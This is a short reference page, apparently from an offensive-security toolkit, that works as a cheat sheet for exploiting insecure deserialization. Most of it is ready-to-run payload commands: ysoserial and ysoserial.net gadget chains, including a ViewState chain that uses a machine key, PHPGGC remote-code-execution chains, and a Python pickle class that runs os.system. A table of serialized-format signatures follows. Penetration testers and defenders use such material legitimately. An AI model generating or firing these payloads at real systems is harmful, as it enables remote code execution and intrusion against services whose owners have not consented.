<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
# API Reference — Exploiting Deserialization Vulnerabilities

## ysoserial (Java)
```bash
# List gadget chains
java -jar ysoserial.jar --help

# Common chains
java -jar ysoserial.jar CommonsCollections1 'CMD'    # CC 3.1
java -jar ysoserial.jar CommonsCollections6 'CMD'    # CC 4.0
java -jar ysoserial.jar CommonsBeanutils1 'CMD'      # CB 1.x
java -jar ysoserial.jar Spring1 'CMD'                # Spring
java -jar ysoserial.jar Jdk7u21 'CMD'                # JDK ≤7u21
java -jar ysoserial.jar URLDNS 'http://callback'     # DNS only (detection)
```

## ysoserial.net (.NET)
```bash
# BinaryFormatter
ysoserial.exe -g ObjectDataProvider -f BinaryFormatter -c 'CMD' -o base64
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c 'CMD' -o base64

# ViewState (requires machine key)
ysoserial.exe -p ViewState -g TextFormattingRunProperties \
  --validationalg="SHA1" --validationkey="KEY" -c "CMD"
```

## PHPGGC
```bash
phpggc -l                                  # List chains
phpggc Laravel/RCE1 system 'CMD' -b        # Base64
phpggc Monolog/RCE1 system 'CMD' -s        # Serialized
phpggc Symfony/RCE4 system 'CMD' -u        # URL encoded
phpggc CHAIN system 'CMD' -p phar -o f.phar # PHAR
```

## Python Pickle
```python
import pickle, base64, os
class E:
    def __reduce__(self):
        return (os.system, ('CMD',))
base64.b64encode(pickle.dumps(E()))
```

## Format Signatures
| Language | Binary | Base64 Prefix |
|----------|--------|---------------|
| Java | AC ED 00 05 | rO0AB |
| .NET | 00 01 00 00 00 | AAEAAAD |
| PHP | O:N: or a:N: | — |
| Python | 80 05 95 | — |
